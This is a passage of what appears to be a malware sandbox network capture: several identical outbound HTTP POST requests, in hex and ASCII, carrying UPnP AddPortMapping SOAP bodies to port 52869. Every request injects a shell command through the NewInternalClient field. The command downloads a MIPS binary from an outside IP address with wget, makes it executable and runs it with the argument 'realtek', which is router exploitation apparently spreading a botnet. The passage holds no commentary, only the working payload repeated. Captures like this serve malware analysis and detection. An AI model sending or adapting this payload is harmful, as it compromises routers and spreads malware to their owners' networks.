                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:25.046633959 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:29.398417950 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      183192.168.2.155098045.192.254.20052869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:22.282845974 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:24.182770967 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:26.582519054 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:31.190479040 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
